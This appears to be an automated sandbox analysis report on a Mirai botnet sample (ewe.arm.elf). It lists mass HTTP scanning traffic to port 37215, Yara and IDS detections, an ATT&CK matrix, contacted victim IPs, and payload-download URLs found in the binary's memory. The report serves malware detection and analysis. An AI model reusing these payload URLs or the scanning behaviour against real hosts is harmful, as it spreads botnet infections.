Source: unknown	Network traffic detected: HTTP traffic on port 50940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45290 -> 37215

Source: /tmp/ewe.arm.elf (PID: 5581)

Queries kernel information via 'uname':

Jump to behavior

Source: ewe.arm.elf, 5581.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp, ewe.arm.elf, 5585.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp, ewe.arm.elf, 5587.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp, ewe.arm.elf, 5589.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp, ewe.arm.elf, 5590.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp, ewe.arm.elf, 5592.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp, ewe.arm.elf, 5597.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp, ewe.arm.elf, 5599.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: ewe.arm.elf, 5581.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp, ewe.arm.elf, 5585.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp, ewe.arm.elf, 5587.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp, ewe.arm.elf, 5589.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp, ewe.arm.elf, 5590.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp, ewe.arm.elf, 5592.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp, ewe.arm.elf, 5597.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp, ewe.arm.elf, 5599.1.00005596a8e73000.00005596a8fa1000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: ewe.arm.elf, 5581.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp, ewe.arm.elf, 5585.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp, ewe.arm.elf, 5587.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp, ewe.arm.elf, 5589.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp, ewe.arm.elf, 5590.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp, ewe.arm.elf, 5592.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp, ewe.arm.elf, 5597.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp, ewe.arm.elf, 5599.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: ewe.arm.elf, 5581.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp, ewe.arm.elf, 5585.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp, ewe.arm.elf, 5587.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp, ewe.arm.elf, 5589.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp, ewe.arm.elf, 5590.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp, ewe.arm.elf, 5592.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp, ewe.arm.elf, 5597.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp, ewe.arm.elf, 5599.1.00007ffc6a924000.00007ffc6a945000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/ewe.arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/ewe.arm.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: ewe.arm.elf, type: SAMPLE
Source: Yara match	File source: 5585.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5581.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5589.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5597.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5592.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5587.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5590.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5599.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ewe.arm.elf PID: 5581, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.arm.elf PID: 5585, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.arm.elf PID: 5589, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.arm.elf PID: 5592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.arm.elf PID: 5597, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)
Source: Traffic	Suricata IDS: ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)

Yara detected Mirai

Source: Yara match	File source: ewe.arm.elf, type: SAMPLE
Source: Yara match	File source: 5585.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5581.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5589.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5597.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5592.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5587.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5590.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5599.1.00007f4404017000.00007f4404029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ewe.arm.elf PID: 5581, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.arm.elf PID: 5585, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.arm.elf PID: 5589, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.arm.elf PID: 5592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ewe.arm.elf PID: 5597, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ewe.arm.elf	68%	Virustotal		Browse
ewe.arm.elf	71%	ReversingLabs	Linux.Trojan.Mirai
ewe.arm.elf	100%	Avira	EXP/ELF.Mirai.Bootnet.o

Source	Detection	Scanner	Label	Link
http://139.59.126.134/bin.sh;	0%	Avira URL Cloud	safe
http://139.59.126.134/bns/x86	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.168.0.14:80/cgi-bin/ViewLog.asp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://139.59.126.134/bin.sh;	ewe.arm.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	ewe.arm.elf	false		high
http://139.59.126.134/bns/x86	ewe.arm.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	ewe.arm.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.108.172.24	unknown	Turkey	9121	TTNETTR	false
194.193.66.3	unknown	United Kingdom	138384	RMNI-AS-APRakutenMobileNetworkIncJP	false
88.146.165.52	unknown	Czech Republic	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
85.89.121.150	unknown	Russian Federation	5429	IIP-NET-AS5429RU	false
219.249.234.179	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
77.141.84.185	unknown	France	15557	LDCOMNETFR	false
94.42.250.20	unknown	Poland	5588	GTSCEGTSCentralEuropeAntelGermanyCZ	false
95.20.61.22	unknown	Spain	12479	UNI2-ASES	false
85.30.134.245	unknown	Sweden	34244	TELESERVICESE	false
104.169.216.63	unknown	United States	5650	FRONTIER-FRTRUS	false
112.148.254.219	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
183.19.74.68	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
31.223.57.101	unknown	Turkey	12735	ASTURKNETTR	false
31.13.174.149	unknown	Germany	196819	TWK-KL-ASDE	false
85.114.235.190	unknown	Georgia	16010	MAGTICOMASCaucasus-OnlineGE	false
106.1.16.171	unknown	Taiwan; Republic of China (ROC)	38841	KBRO-AS-TWkbroCOLtdTW	false
95.226.168.236	unknown	Italy	3269	ASN-IBSNAZIT	false
62.74.130.34	unknown	Greece	12361	PANAFONET-ASAthensGreeceGR	false
62.184.255.154	unknown	European Union	34456	RIALCOM-ASRU	false
157.190.234.151	unknown	Ireland	1213	HEANETIE	false
203.102.176.174	unknown	Australia	703	UUNETUS	false
31.63.4.120	unknown	Poland	5617	TPNETPL	false
112.53.217.140	unknown	China	24547	CMNET-V4HEBEI-AS-APHebeiMobileCommunicationCompanyLimit	false
85.225.253.50	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	false
95.24.169.216	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
31.94.62.235	unknown	United Kingdom	12576	EELtdGB	false
